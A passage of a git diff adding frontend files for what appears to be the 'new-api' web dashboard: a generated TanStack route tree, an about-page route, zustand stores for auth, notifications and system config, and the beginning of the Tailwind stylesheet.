+      id: '/(auth)/forgot-password'
+      path: '/forgot-password'
+      fullPath: '/forgot-password'
+      preLoaderRoute: typeof authForgotPasswordRouteImport
+      parentRoute: typeof authRouteRoute
+    }
+    '/_authenticated/system-settings': {
+      id: '/_authenticated/system-settings'
+      path: '/system-settings'
+      fullPath: '/system-settings'
+      preLoaderRoute: typeof AuthenticatedSystemSettingsRouteRouteImport
+      parentRoute: typeof AuthenticatedRouteRoute
+    }
+    '/pricing/$modelId/': {
+      id: '/pricing/$modelId/'
+      path: '/pricing/$modelId'
+      fullPath: '/pricing/$modelId/'
+      preLoaderRoute: typeof PricingModelIdIndexRouteImport
+      parentRoute: typeof rootRouteImport
+    }
+    '/_authenticated/wallet/': {
+      id: '/_authenticated/wallet/'
+      path: '/wallet'
+      fullPath: '/wallet/'
+      preLoaderRoute: typeof AuthenticatedWalletIndexRouteImport
+      parentRoute: typeof AuthenticatedRouteRoute
+    }
+    '/_authenticated/users/': {
+      id: '/_authenticated/users/'
+      path: '/users'
+      fullPath: '/users/'
+      preLoaderRoute: typeof AuthenticatedUsersIndexRouteImport
+      parentRoute: typeof AuthenticatedRouteRoute
+    }
+    '/_authenticated/usage-logs/': {
+      id: '/_authenticated/usage-logs/'
+      path: '/usage-logs'
+      fullPath: '/usage-logs/'
+      preLoaderRoute: typeof AuthenticatedUsageLogsIndexRouteImport
+      parentRoute: typeof AuthenticatedRouteRoute
+    }
+    '/_authenticated/system-settings/': {
+      id: '/_authenticated/system-settings/'
+      path: '/'
+      fullPath: '/system-settings/'
+      preLoaderRoute: typeof AuthenticatedSystemSettingsIndexRouteImport
+      parentRoute: typeof AuthenticatedSystemSettingsRouteRoute
+    }
+    '/_authenticated/subscriptions/': {
+      id: '/_authenticated/subscriptions/'
+      path: '/subscriptions'
+      fullPath: '/subscriptions/'
+      preLoaderRoute: typeof AuthenticatedSubscriptionsIndexRouteImport
+      parentRoute: typeof AuthenticatedRouteRoute
+    }
+    '/_authenticated/redemption-codes/': {
+      id: '/_authenticated/redemption-codes/'
+      path: '/redemption-codes'
+      fullPath: '/redemption-codes/'
+      preLoaderRoute: typeof AuthenticatedRedemptionCodesIndexRouteImport
+      parentRoute: typeof AuthenticatedRouteRoute
+    }
+    '/_authenticated/profile/': {
+      id: '/_authenticated/profile/'
+      path: '/profile'
+      fullPath: '/profile/'
+      preLoaderRoute: typeof AuthenticatedProfileIndexRouteImport
+      parentRoute: typeof AuthenticatedRouteRoute
+    }
+    '/_authenticated/playground/': {
+      id: '/_authenticated/playground/'
+      path: '/playground'
+      fullPath: '/playground/'
+      preLoaderRoute: typeof AuthenticatedPlaygroundIndexRouteImport
+      parentRoute: typeof AuthenticatedRouteRoute
+    }
+    '/_authenticated/models/': {
+      id: '/_authenticated/models/'
+      path: '/models'
+      fullPath: '/models/'
+      preLoaderRoute: typeof AuthenticatedModelsIndexRouteImport
+      parentRoute: typeof AuthenticatedRouteRoute
+    }
+    '/_authenticated/keys/': {
+      id: '/_authenticated/keys/'
+      path: '/keys'
+      fullPath: '/keys/'
+      preLoaderRoute: typeof AuthenticatedKeysIndexRouteImport
+      parentRoute: typeof AuthenticatedRouteRoute
+    }
+    '/_authenticated/dashboard/': {
+      id: '/_authenticated/dashboard/'
+      path: '/dashboard'
+      fullPath: '/dashboard/'
+      preLoaderRoute: typeof AuthenticatedDashboardIndexRouteImport
+      parentRoute: typeof AuthenticatedRouteRoute
+    }
+    '/_authenticated/channels/': {
+      id: '/_authenticated/channels/'
+      path: '/channels'
+      fullPath: '/channels/'
+      preLoaderRoute: typeof AuthenticatedChannelsIndexRouteImport
+      parentRoute: typeof AuthenticatedRouteRoute
+    }
+    '/_authenticated/usage-logs/$section': {
+      id: '/_authenticated/usage-logs/$section'
+      path: '/usage-logs/$section'
+      fullPath: '/usage-logs/$section'
+      preLoaderRoute: typeof AuthenticatedUsageLogsSectionRouteImport
+      parentRoute: typeof AuthenticatedRouteRoute
+    }
+    '/_authenticated/models/$section': {
+      id: '/_authenticated/models/$section'
+      path: '/models/$section'
+      fullPath: '/models/$section'
+      preLoaderRoute: typeof AuthenticatedModelsSectionRouteImport
+      parentRoute: typeof AuthenticatedRouteRoute
+    }
+    '/_authenticated/errors/$error': {
+      id: '/_authenticated/errors/$error'
+      path: '/errors/$error'
+      fullPath: '/errors/$error'
+      preLoaderRoute: typeof AuthenticatedErrorsErrorRouteImport
+      parentRoute: typeof AuthenticatedRouteRoute
+    }
+    '/_authenticated/dashboard/$section': {
+      id: '/_authenticated/dashboard/$section'
+      path: '/dashboard/$section'
+      fullPath: '/dashboard/$section'
+      preLoaderRoute: typeof AuthenticatedDashboardSectionRouteImport
+      parentRoute: typeof AuthenticatedRouteRoute
+    }
+    '/_authenticated/chat/$chatId': {
+      id: '/_authenticated/chat/$chatId'
+      path: '/chat/$chatId'
+      fullPath: '/chat/$chatId'
+      preLoaderRoute: typeof AuthenticatedChatChatIdRouteImport
+      parentRoute: typeof AuthenticatedRouteRoute
+    }
+    '/(auth)/user/reset': {
+      id: '/(auth)/user/reset'
+      path: '/user/reset'
+      fullPath: '/user/reset'
+      preLoaderRoute: typeof authUserResetRouteImport
+      parentRoute: typeof authRouteRoute
+    }
+    '/_authenticated/system-settings/request-limits/': {
+      id: '/_authenticated/system-settings/request-limits/'
+      path: '/request-limits'
+      fullPath: '/system-settings/request-limits/'
+      preLoaderRoute: typeof AuthenticatedSystemSettingsRequestLimitsIndexRouteImport
+      parentRoute: typeof AuthenticatedSystemSettingsRouteRoute
+    }
+    '/_authenticated/system-settings/models/': {
+      id: '/_authenticated/system-settings/models/'
+      path: '/models'
+      fullPath: '/system-settings/models/'
+      preLoaderRoute: typeof AuthenticatedSystemSettingsModelsIndexRouteImport
+      parentRoute: typeof AuthenticatedSystemSettingsRouteRoute
+    }
+    '/_authenticated/system-settings/maintenance/': {
+      id: '/_authenticated/system-settings/maintenance/'
+      path: '/maintenance'
+      fullPath: '/system-settings/maintenance/'
+      preLoaderRoute: typeof AuthenticatedSystemSettingsMaintenanceIndexRouteImport
+      parentRoute: typeof AuthenticatedSystemSettingsRouteRoute
+    }
+    '/_authenticated/system-settings/integrations/': {
+      id: '/_authenticated/system-settings/integrations/'
+      path: '/integrations'
+      fullPath: '/system-settings/integrations/'
+      preLoaderRoute: typeof AuthenticatedSystemSettingsIntegrationsIndexRouteImport
+      parentRoute: typeof AuthenticatedSystemSettingsRouteRoute
+    }
+    '/_authenticated/system-settings/general/': {
+      id: '/_authenticated/system-settings/general/'
+      path: '/general'
+      fullPath: '/system-settings/general/'
+      preLoaderRoute: typeof AuthenticatedSystemSettingsGeneralIndexRouteImport
+      parentRoute: typeof AuthenticatedSystemSettingsRouteRoute
+    }
+    '/_authenticated/system-settings/content/': {
+      id: '/_authenticated/system-settings/content/'
+      path: '/content'
+      fullPath: '/system-settings/content/'
+      preLoaderRoute: typeof AuthenticatedSystemSettingsContentIndexRouteImport
+      parentRoute: typeof AuthenticatedSystemSettingsRouteRoute
+    }
+    '/_authenticated/system-settings/auth/': {
+      id: '/_authenticated/system-settings/auth/'
+      path: '/auth'
+      fullPath: '/system-settings/auth/'
+      preLoaderRoute: typeof AuthenticatedSystemSettingsAuthIndexRouteImport
+      parentRoute: typeof AuthenticatedSystemSettingsRouteRoute
+    }
+    '/_authenticated/system-settings/request-limits/$section': {
+      id: '/_authenticated/system-settings/request-limits/$section'
+      path: '/request-limits/$section'
+      fullPath: '/system-settings/request-limits/$section'
+      preLoaderRoute: typeof AuthenticatedSystemSettingsRequestLimitsSectionRouteImport
+      parentRoute: typeof AuthenticatedSystemSettingsRouteRoute
+    }
+    '/_authenticated/system-settings/models/$section': {
+      id: '/_authenticated/system-settings/models/$section'
+      path: '/models/$section'
+      fullPath: '/system-settings/models/$section'
+      preLoaderRoute: typeof AuthenticatedSystemSettingsModelsSectionRouteImport
+      parentRoute: typeof AuthenticatedSystemSettingsRouteRoute
+    }
+    '/_authenticated/system-settings/maintenance/$section': {
+      id: '/_authenticated/system-settings/maintenance/$section'
+      path: '/maintenance/$section'
+      fullPath: '/system-settings/maintenance/$section'
+      preLoaderRoute: typeof AuthenticatedSystemSettingsMaintenanceSectionRouteImport
+      parentRoute: typeof AuthenticatedSystemSettingsRouteRoute
+    }
+    '/_authenticated/system-settings/integrations/$section': {
+      id: '/_authenticated/system-settings/integrations/$section'
+      path: '/integrations/$section'
+      fullPath: '/system-settings/integrations/$section'
+      preLoaderRoute: typeof AuthenticatedSystemSettingsIntegrationsSectionRouteImport
+      parentRoute: typeof AuthenticatedSystemSettingsRouteRoute
+    }
+    '/_authenticated/system-settings/general/$section': {
+      id: '/_authenticated/system-settings/general/$section'
+      path: '/general/$section'
+      fullPath: '/system-settings/general/$section'
+      preLoaderRoute: typeof AuthenticatedSystemSettingsGeneralSectionRouteImport
+      parentRoute: typeof AuthenticatedSystemSettingsRouteRoute
+    }
+    '/_authenticated/system-settings/content/$section': {
+      id: '/_authenticated/system-settings/content/$section'
+      path: '/content/$section'
+      fullPath: '/system-settings/content/$section'
+      preLoaderRoute: typeof AuthenticatedSystemSettingsContentSectionRouteImport
+      parentRoute: typeof AuthenticatedSystemSettingsRouteRoute
+    }
+    '/_authenticated/system-settings/auth/$section': {
+      id: '/_authenticated/system-settings/auth/$section'
+      path: '/auth/$section'
+      fullPath: '/system-settings/auth/$section'
+      preLoaderRoute: typeof AuthenticatedSystemSettingsAuthSectionRouteImport
+      parentRoute: typeof AuthenticatedSystemSettingsRouteRoute
+    }
+  }
+}
+
+interface authRouteRouteChildren {
+  authForgotPasswordRoute: typeof authForgotPasswordRoute
+  authOauthRoute: typeof authOauthRoute
+  authOtpRoute: typeof authOtpRoute
+  authResetRoute: typeof authResetRoute
+  authSignInRoute: typeof authSignInRoute
+  authSignUpRoute: typeof authSignUpRoute
+  authUserResetRoute: typeof authUserResetRoute
+}
+
+const authRouteRouteChildren: authRouteRouteChildren = {
+  authForgotPasswordRoute: authForgotPasswordRoute,
+  authOauthRoute: authOauthRoute,
+  authOtpRoute: authOtpRoute,
+  authResetRoute: authResetRoute,
+  authSignInRoute: authSignInRoute,
+  authSignUpRoute: authSignUpRoute,
+  authUserResetRoute: authUserResetRoute,
+}
+
+const authRouteRouteWithChildren = authRouteRoute._addFileChildren(
+  authRouteRouteChildren,
+)
+
+interface AuthenticatedSystemSettingsRouteRouteChildren {
+  AuthenticatedSystemSettingsIndexRoute: typeof AuthenticatedSystemSettingsIndexRoute
+  AuthenticatedSystemSettingsAuthSectionRoute: typeof AuthenticatedSystemSettingsAuthSectionRoute
+  AuthenticatedSystemSettingsContentSectionRoute: typeof AuthenticatedSystemSettingsContentSectionRoute
+  AuthenticatedSystemSettingsGeneralSectionRoute: typeof AuthenticatedSystemSettingsGeneralSectionRoute
+  AuthenticatedSystemSettingsIntegrationsSectionRoute: typeof AuthenticatedSystemSettingsIntegrationsSectionRoute
+  AuthenticatedSystemSettingsMaintenanceSectionRoute: typeof AuthenticatedSystemSettingsMaintenanceSectionRoute
+  AuthenticatedSystemSettingsModelsSectionRoute: typeof AuthenticatedSystemSettingsModelsSectionRoute
+  AuthenticatedSystemSettingsRequestLimitsSectionRoute: typeof AuthenticatedSystemSettingsRequestLimitsSectionRoute
+  AuthenticatedSystemSettingsAuthIndexRoute: typeof AuthenticatedSystemSettingsAuthIndexRoute
+  AuthenticatedSystemSettingsContentIndexRoute: typeof AuthenticatedSystemSettingsContentIndexRoute
+  AuthenticatedSystemSettingsGeneralIndexRoute: typeof AuthenticatedSystemSettingsGeneralIndexRoute
+  AuthenticatedSystemSettingsIntegrationsIndexRoute: typeof AuthenticatedSystemSettingsIntegrationsIndexRoute
+  AuthenticatedSystemSettingsMaintenanceIndexRoute: typeof AuthenticatedSystemSettingsMaintenanceIndexRoute
+  AuthenticatedSystemSettingsModelsIndexRoute: typeof AuthenticatedSystemSettingsModelsIndexRoute
+  AuthenticatedSystemSettingsRequestLimitsIndexRoute: typeof AuthenticatedSystemSettingsRequestLimitsIndexRoute
+}
+
+const AuthenticatedSystemSettingsRouteRouteChildren: AuthenticatedSystemSettingsRouteRouteChildren =
+  {
+    AuthenticatedSystemSettingsIndexRoute:
+      AuthenticatedSystemSettingsIndexRoute,
+    AuthenticatedSystemSettingsAuthSectionRoute:
+      AuthenticatedSystemSettingsAuthSectionRoute,
+    AuthenticatedSystemSettingsContentSectionRoute:
+      AuthenticatedSystemSettingsContentSectionRoute,
+    AuthenticatedSystemSettingsGeneralSectionRoute:
+      AuthenticatedSystemSettingsGeneralSectionRoute,
+    AuthenticatedSystemSettingsIntegrationsSectionRoute:
+      AuthenticatedSystemSettingsIntegrationsSectionRoute,
+    AuthenticatedSystemSettingsMaintenanceSectionRoute:
+      AuthenticatedSystemSettingsMaintenanceSectionRoute,
+    AuthenticatedSystemSettingsModelsSectionRoute:
+      AuthenticatedSystemSettingsModelsSectionRoute,
+    AuthenticatedSystemSettingsRequestLimitsSectionRoute:
+      AuthenticatedSystemSettingsRequestLimitsSectionRoute,
+    AuthenticatedSystemSettingsAuthIndexRoute:
+      AuthenticatedSystemSettingsAuthIndexRoute,
+    AuthenticatedSystemSettingsContentIndexRoute:
+      AuthenticatedSystemSettingsContentIndexRoute,
+    AuthenticatedSystemSettingsGeneralIndexRoute:
+      AuthenticatedSystemSettingsGeneralIndexRoute,
+    AuthenticatedSystemSettingsIntegrationsIndexRoute:
+      AuthenticatedSystemSettingsIntegrationsIndexRoute,
+    AuthenticatedSystemSettingsMaintenanceIndexRoute:
+      AuthenticatedSystemSettingsMaintenanceIndexRoute,
+    AuthenticatedSystemSettingsModelsIndexRoute:
+      AuthenticatedSystemSettingsModelsIndexRoute,
+    AuthenticatedSystemSettingsRequestLimitsIndexRoute:
+      AuthenticatedSystemSettingsRequestLimitsIndexRoute,
+  }
+
+const AuthenticatedSystemSettingsRouteRouteWithChildren =
+  AuthenticatedSystemSettingsRouteRoute._addFileChildren(
+    AuthenticatedSystemSettingsRouteRouteChildren,
+  )
+
+interface AuthenticatedRouteRouteChildren {
+  AuthenticatedSystemSettingsRouteRoute: typeof AuthenticatedSystemSettingsRouteRouteWithChildren
+  AuthenticatedChat2linkRoute: typeof AuthenticatedChat2linkRoute
+  AuthenticatedChatChatIdRoute: typeof AuthenticatedChatChatIdRoute
+  AuthenticatedDashboardSectionRoute: typeof AuthenticatedDashboardSectionRoute
+  AuthenticatedErrorsErrorRoute: typeof AuthenticatedErrorsErrorRoute
+  AuthenticatedModelsSectionRoute: typeof AuthenticatedModelsSectionRoute
+  AuthenticatedUsageLogsSectionRoute: typeof AuthenticatedUsageLogsSectionRoute
+  AuthenticatedChannelsIndexRoute: typeof AuthenticatedChannelsIndexRoute
+  AuthenticatedDashboardIndexRoute: typeof AuthenticatedDashboardIndexRoute
+  AuthenticatedKeysIndexRoute: typeof AuthenticatedKeysIndexRoute
+  AuthenticatedModelsIndexRoute: typeof AuthenticatedModelsIndexRoute
+  AuthenticatedPlaygroundIndexRoute: typeof AuthenticatedPlaygroundIndexRoute
+  AuthenticatedProfileIndexRoute: typeof AuthenticatedProfileIndexRoute
+  AuthenticatedRedemptionCodesIndexRoute: typeof AuthenticatedRedemptionCodesIndexRoute
+  AuthenticatedSubscriptionsIndexRoute: typeof AuthenticatedSubscriptionsIndexRoute
+  AuthenticatedUsageLogsIndexRoute: typeof AuthenticatedUsageLogsIndexRoute
+  AuthenticatedUsersIndexRoute: typeof AuthenticatedUsersIndexRoute
+  AuthenticatedWalletIndexRoute: typeof AuthenticatedWalletIndexRoute
+}
+
+const AuthenticatedRouteRouteChildren: AuthenticatedRouteRouteChildren = {
+  AuthenticatedSystemSettingsRouteRoute:
+    AuthenticatedSystemSettingsRouteRouteWithChildren,
+  AuthenticatedChat2linkRoute: AuthenticatedChat2linkRoute,
+  AuthenticatedChatChatIdRoute: AuthenticatedChatChatIdRoute,
+  AuthenticatedDashboardSectionRoute: AuthenticatedDashboardSectionRoute,
+  AuthenticatedErrorsErrorRoute: AuthenticatedErrorsErrorRoute,
+  AuthenticatedModelsSectionRoute: AuthenticatedModelsSectionRoute,
+  AuthenticatedUsageLogsSectionRoute: AuthenticatedUsageLogsSectionRoute,
+  AuthenticatedChannelsIndexRoute: AuthenticatedChannelsIndexRoute,
+  AuthenticatedDashboardIndexRoute: AuthenticatedDashboardIndexRoute,
+  AuthenticatedKeysIndexRoute: AuthenticatedKeysIndexRoute,
+  AuthenticatedModelsIndexRoute: AuthenticatedModelsIndexRoute,
+  AuthenticatedPlaygroundIndexRoute: AuthenticatedPlaygroundIndexRoute,
+  AuthenticatedProfileIndexRoute: AuthenticatedProfileIndexRoute,
+  AuthenticatedRedemptionCodesIndexRoute:
+    AuthenticatedRedemptionCodesIndexRoute,
+  AuthenticatedSubscriptionsIndexRoute: AuthenticatedSubscriptionsIndexRoute,
+  AuthenticatedUsageLogsIndexRoute: AuthenticatedUsageLogsIndexRoute,
+  AuthenticatedUsersIndexRoute: AuthenticatedUsersIndexRoute,
+  AuthenticatedWalletIndexRoute: AuthenticatedWalletIndexRoute,
+}
+
+const AuthenticatedRouteRouteWithChildren =
+  AuthenticatedRouteRoute._addFileChildren(AuthenticatedRouteRouteChildren)
+
+const rootRouteChildren: RootRouteChildren = {
+  IndexRoute: IndexRoute,
+  authRouteRoute: authRouteRouteWithChildren,
+  AuthenticatedRouteRoute: AuthenticatedRouteRouteWithChildren,
+  PrivacyPolicyRoute: PrivacyPolicyRoute,
+  UserAgreementRoute: UserAgreementRoute,
+  errors401Route: errors401Route,
+  errors403Route: errors403Route,
+  errors404Route: errors404Route,
+  errors500Route: errors500Route,
+  errors503Route: errors503Route,
+  OauthProviderRoute: OauthProviderRoute,
+  AboutIndexRoute: AboutIndexRoute,
+  PricingIndexRoute: PricingIndexRoute,
+  SetupIndexRoute: SetupIndexRoute,
+  PricingModelIdIndexRoute: PricingModelIdIndexRoute,
+}
+export const routeTree = rootRouteImport
+  ._addFileChildren(rootRouteChildren)
+  ._addFileTypes<FileRouteTypes>()
diff --git a/new-api/web/default/src/routes/about/index.tsx b/new-api/web/default/src/routes/about/index.tsx
new file mode 100644
index 0000000..2008338
--- /dev/null
+++ b/new-api/web/default/src/routes/about/index.tsx
@@ -0,0 +1,6 @@
+import { createFileRoute } from '@tanstack/react-router'
+import { About } from '@/features/about'
+
+export const Route = createFileRoute('/about/')({
+  component: About,
+})
diff --git a/new-api/web/default/src/stores/auth-store.ts b/new-api/web/default/src/stores/auth-store.ts
new file mode 100644
index 0000000..7a6b92f
--- /dev/null
+++ b/new-api/web/default/src/stores/auth-store.ts
@@ -0,0 +1,87 @@
+import { create } from 'zustand'
+
+export type UserPermissions = {
+  sidebar_settings?: boolean
+  sidebar_modules?: Record<string, unknown>
+}
+
+export interface AuthUser {
+  id: number
+  username: string
+  display_name?: string
+  email?: string
+  role: number
+  status?: number
+  group?: string
+  quota?: number
+  used_quota?: number
+  request_count?: number
+  aff_code?: string
+  aff_count?: number
+  aff_quota?: number
+  aff_history_quota?: number
+  inviter_id?: number
+  github_id?: string
+  oidc_id?: string
+  wechat_id?: string
+  telegram_id?: string
+  linux_do_id?: string
+  setting?: Record<string, unknown>
+  stripe_customer?: string
+  sidebar_modules?: string
+  permissions?: UserPermissions
+}
+
+interface AuthState {
+  auth: {
+    user: AuthUser | null
+    setUser: (user: AuthUser | null) => void
+    reset: () => void
+  }
+}
+
+export const useAuthStore = create<AuthState>()((set) => {
+  // Restore user info from localStorage
+  const initUser = (() => {
+    try {
+      if (typeof window !== 'undefined') {
+        const saved = window.localStorage.getItem('user')
+        return saved ? JSON.parse(saved) : null
+      }
+    } catch {
+      // Clear dirty data when parsing fails
+      if (typeof window !== 'undefined') {
+        window.localStorage.removeItem('user')
+      }
+    }
+    return null
+  })()
+
+  return {
+    auth: {
+      user: initUser,
+      setUser: (user) =>
+        set((state) => {
+          // Persist user to localStorage
+          if (typeof window !== 'undefined') {
+            if (user) {
+              window.localStorage.setItem('user', JSON.stringify(user))
+            } else {
+              window.localStorage.removeItem('user')
+            }
+          }
+          return { ...state, auth: { ...state.auth, user } }
+        }),
+      reset: () =>
+        set((state) => {
+          if (typeof window !== 'undefined') {
+            window.localStorage.removeItem('user')
+          }
+          return {
+            ...state,
+            auth: { ...state.auth, user: null },
+          }
+        }),
+    },
+  }
+})
diff --git a/new-api/web/default/src/stores/notification-store.ts b/new-api/web/default/src/stores/notification-store.ts
new file mode 100644
index 0000000..214450d
--- /dev/null
+++ b/new-api/web/default/src/stores/notification-store.ts
@@ -0,0 +1,70 @@
+import { create } from 'zustand'
+import { persist } from 'zustand/middleware'
+
+interface NotificationState {
+  // Last read Notice content signature (full trimmed message)
+  lastReadNotice: string
+  // Array of read announcement keys (id or content hash)
+  readAnnouncementKeys: string[]
+  // Timestamp of last "Close Today" action
+  closedUntilDate: string | null
+
+  // Actions
+  markNoticeRead: (noticeContent: string) => void
+  markAnnouncementsRead: (keys: string[]) => void
+  setClosedUntilDate: (date: string | null) => void
+  isAnnouncementRead: (key: string) => boolean
+  isNoticeClosed: () => boolean
+}
+
+/**
+ * Notification store for tracking read status of Notice and Announcements
+ * Persists to localStorage to maintain state across sessions
+ */
+export const useNotificationStore = create<NotificationState>()(
+  persist(
+    (set, get) => ({
+      lastReadNotice: '',
+      readAnnouncementKeys: [],
+      closedUntilDate: null,
+
+      markNoticeRead: (noticeContent: string) => {
+        // Persist the full trimmed content so edits beyond 100 chars register
+        const normalizedContent = noticeContent.trim()
+        set({ lastReadNotice: normalizedContent })
+      },
+
+      markAnnouncementsRead: (keys: string[]) => {
+        set((state) => ({
+          readAnnouncementKeys: [
+            ...new Set([...state.readAnnouncementKeys, ...keys]),
+          ],
+        }))
+      },
+
+      setClosedUntilDate: (date: string | null) => {
+        set({ closedUntilDate: date })
+      },
+
+      isAnnouncementRead: (key: string) => {
+        return get().readAnnouncementKeys.includes(key)
+      },
+
+      isNoticeClosed: () => {
+        const { closedUntilDate } = get()
+        if (!closedUntilDate) return false
+
+        const today = new Date().toDateString()
+        return closedUntilDate === today
+      },
+    }),
+    {
+      name: 'notification-storage',
+      partialize: (state) => ({
+        lastReadNotice: state.lastReadNotice,
+        readAnnouncementKeys: state.readAnnouncementKeys,
+        closedUntilDate: state.closedUntilDate,
+      }),
+    }
+  )
+)
diff --git a/new-api/web/default/src/stores/system-config-store.ts b/new-api/web/default/src/stores/system-config-store.ts
new file mode 100644
index 0000000..5b0f8f3
--- /dev/null
+++ b/new-api/web/default/src/stores/system-config-store.ts
@@ -0,0 +1,94 @@
+import { create } from 'zustand'
+import { persist } from 'zustand/middleware'
+import { DEFAULT_SYSTEM_NAME, DEFAULT_LOGO } from '@/lib/constants'
+
+export type CurrencyDisplayType = 'USD' | 'CNY' | 'TOKENS' | 'CUSTOM'
+
+export interface CurrencyConfig {
+  /** Whether to render quota values as currency instead of raw units */
+  displayInCurrency: boolean
+  /** Currency presentation strategy configured by the admin */
+  quotaDisplayType: CurrencyDisplayType
+  /** Number of quota units that equal one USD */
+  quotaPerUnit: number
+  /** Exchange rate from USD to the configured local currency */
+  usdExchangeRate: number
+  /** Custom currency symbol configured by the admin (used when type === CUSTOM) */
+  customCurrencySymbol: string
+  /** Exchange rate from USD to the custom currency (used when type === CUSTOM) */
+  customCurrencyExchangeRate: number
+}
+
+export interface SystemConfig {
+  systemName: string
+  logo: string
+  footerHtml?: string
+  demoSiteEnabled?: boolean
+  displayTokenStatEnabled?: boolean
+  currency: CurrencyConfig
+}
+
+export const DEFAULT_CURRENCY_CONFIG: CurrencyConfig = {
+  displayInCurrency: true,
+  quotaDisplayType: 'USD',
+  quotaPerUnit: 500000,
+  usdExchangeRate: 1,
+  customCurrencySymbol: '¤',
+  customCurrencyExchangeRate: 1,
+}
+
+interface SystemConfigState {
+  config: SystemConfig
+  loading: boolean
+  loadedLogoUrl: string
+  setConfig: (config: Partial<SystemConfig>) => void
+  setLoadedLogoUrl: (url: string) => void
+  setLoading: (loading: boolean) => void
+}
+
+/**
+ * System configuration store with automatic persistence
+ * Manages system name, logo, footer HTML and loading states
+ */
+export const useSystemConfigStore = create<SystemConfigState>()(
+  persist(
+    (set) => ({
+      config: {
+        systemName: DEFAULT_SYSTEM_NAME,
+        logo: DEFAULT_LOGO,
+        currency: { ...DEFAULT_CURRENCY_CONFIG },
+      },
+      loading: true,
+      loadedLogoUrl: DEFAULT_LOGO,
+      setConfig: (newConfig) =>
+        set((state) => ({
+          config: {
+            ...state.config,
+            ...newConfig,
+            currency: {
+              ...state.config.currency,
+              ...(newConfig.currency ?? {}),
+            },
+          },
+        })),
+      setLoadedLogoUrl: (url) => set({ loadedLogoUrl: url }),
+      setLoading: (loading) => set({ loading }),
+    }),
+    {
+      name: 'system-config-storage',
+      partialize: (state) => ({
+        config: state.config,
+        loadedLogoUrl: state.loadedLogoUrl,
+      }),
+    }
+  )
+)
+
+// Selector helpers for convenience
+export const getSystemName = () =>
+  useSystemConfigStore.getState().config.systemName
+
+export const getLogo = () => useSystemConfigStore.getState().config.logo
+
+export const getFooterHtml = () =>
+  useSystemConfigStore.getState().config.footerHtml
diff --git a/new-api/web/default/src/styles/index.css b/new-api/web/default/src/styles/index.css
new file mode 100644
index 0000000..1d9f206
--- /dev/null
+++ b/new-api/web/default/src/styles/index.css
@@ -0,0 +1,566 @@
+@import 'tailwindcss';
+@import 'tw-animate-css';
+@import 'shadcn/tailwind.css';
+@import '@fontsource-variable/public-sans';
+
+@import './theme.css';
+
+/* Shiki dual themes: token colors follow dark theme (pre background stays `bg-background` on the block) */
+@layer components {
+  .dark .shiki span {
+    color: var(--shiki-dark) !important;
+    font-style: var(--shiki-dark-font-style) !important;
+    font-weight: var(--shiki-dark-font-weight) !important;
+    text-decoration: var(--shiki-dark-text-decoration) !important;
+  }
+}
+
+@layer base {
+  * {
+    @apply border-border outline-ring/50;
+    scrollbar-width: thin;
+    scrollbar-color: var(--border) transparent;
+  }
+  html {
+    @apply overflow-x-hidden font-sans;
+  }
+  body {
+    @apply bg-background text-foreground has-[div[data-variant='inset']]:bg-sidebar min-h-svh w-full font-sans;
+  }
+
+  /* Override Radix scroll locking for sticky headers */
+  body[data-scroll-locked] {
+    overflow: unset !important;
+  }
+
+  /* Cursor pointer for buttons */
+  button:not(:disabled),
+  [role='button']:not(:disabled) {
+    cursor: pointer;
+  }
+
+  /* Prevent focus zoom on mobile devices */
+  @media screen and (max-width: 767px) {
+    input,
+    select,
+    textarea {
+      font-size: 16px !important;
+    }
+  }
+}
+
+/* Vercel Geist-style skeleton shimmer */
+.skeleton-shimmer {
+  background: linear-gradient(
+    90deg,
+    var(--skeleton-base) 0%,
+    var(--skeleton-base) 33%,
+    var(--skeleton-highlight) 50%,
+    var(--skeleton-base) 67%,
+    var(--skeleton-base) 100%
+  );
+  background-size: 300% 100%;
+  animation: skeleton-shimmer 1.8s ease-in-out infinite;
+}
+
+@keyframes skeleton-shimmer {
+  0% {
+    background-position: 100% 50%;
+  }
+  100% {
+    background-position: -100% 50%;
+  }
+}
+
+/* Override auto-skeleton-react inline styles with Vercel shimmer */
+.auto-skeleton-fade [class^='skeleton-'] {
+  background: linear-gradient(
+    90deg,
+    var(--skeleton-base) 0%,
+    var(--skeleton-base) 33%,
+    var(--skeleton-highlight) 50%,
+    var(--skeleton-base) 67%,
+    var(--skeleton-base) 100%
+  ) !important;
+  background-size: 300% 100% !important;
+  animation: skeleton-shimmer 1.8s ease-in-out infinite !important;
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .skeleton-shimmer,
+  .auto-skeleton-fade [class^='skeleton-'] {
+    animation: none !important;
+    background: var(--skeleton-base) !important;
+  }
+}
+
+@utility container {
+  margin-inline: auto;
+  padding-inline: 2rem;
+}
+
+@utility max-w-container {
+  max-width: 1280px;
+}
+
+@utility max-w-container-lg {
+  max-width: 1536px;
+}
+
+@utility no-scrollbar {
+  /* Hide scrollbar for Chrome, Safari and Opera */
+  &::-webkit-scrollbar {
+    display: none;
+  }
+  /* Hide scrollbar for IE, Edge and Firefox */
+  -ms-overflow-style: none; /* IE and Edge */
+  scrollbar-width: none; /* Firefox */
+}
+
+@utility hover-scrollbar {
+  /* Hide scrollbar by default */
+  scrollbar-width: thin;
+  scrollbar-color: transparent transparent;
+
+  /* Show scrollbar on hover */
+  &:hover {
+    scrollbar-color: var(--border) transparent;
+  }
+
+  /* Webkit browsers (Chrome, Safari, Edge) */
+  &::-webkit-scrollbar {
+    width: 8px;
+  }
+
+  &::-webkit-scrollbar-track {
+    background: transparent;
+  }
+
+  &::-webkit-scrollbar-thumb {
+    background-color: transparent;
+    border-radius: 4px;
+  }
+
+  &:hover::-webkit-scrollbar-thumb {
+    background-color: var(--border);
+  }
+
+  &:hover::-webkit-scrollbar-thumb:hover {
+    background-color: color-mix(in oklch, var(--border) 60%, transparent);
+  }
+}
+
+@utility faded-bottom {
+  @apply after:pointer-events-none after:absolute after:start-0 after:bottom-0 after:hidden after:h-32 after:w-full after:rounded-b-2xl after:bg-[linear-gradient(180deg,_transparent_10%,_var(--background)_70%)] md:after:block;
+}
+
+.CollapsibleContent {
+  overflow: hidden;
+}
+@media (prefers-reduced-motion: no-preference) {
+  .CollapsibleContent[data-state='open'] {
+    animation: slideDown 300ms ease-out;
+  }
+  .CollapsibleContent[data-state='closed'] {
+    animation: slideUp 300ms ease-out;
+  }
+}
+
+@keyframes slideDown {
+  from {
+    height: 0;
+  }
+  to {
+    height: var(--radix-collapsible-content-height);
+  }
+}
+
+@keyframes slideUp {
+  from {
+    height: var(--radix-collapsible-content-height);
+  }
+  to {
+    height: 0;
+  }
+}
+
+/* Launch UI Animations and Effects - Matching Template Exactly */
+@layer utilities {
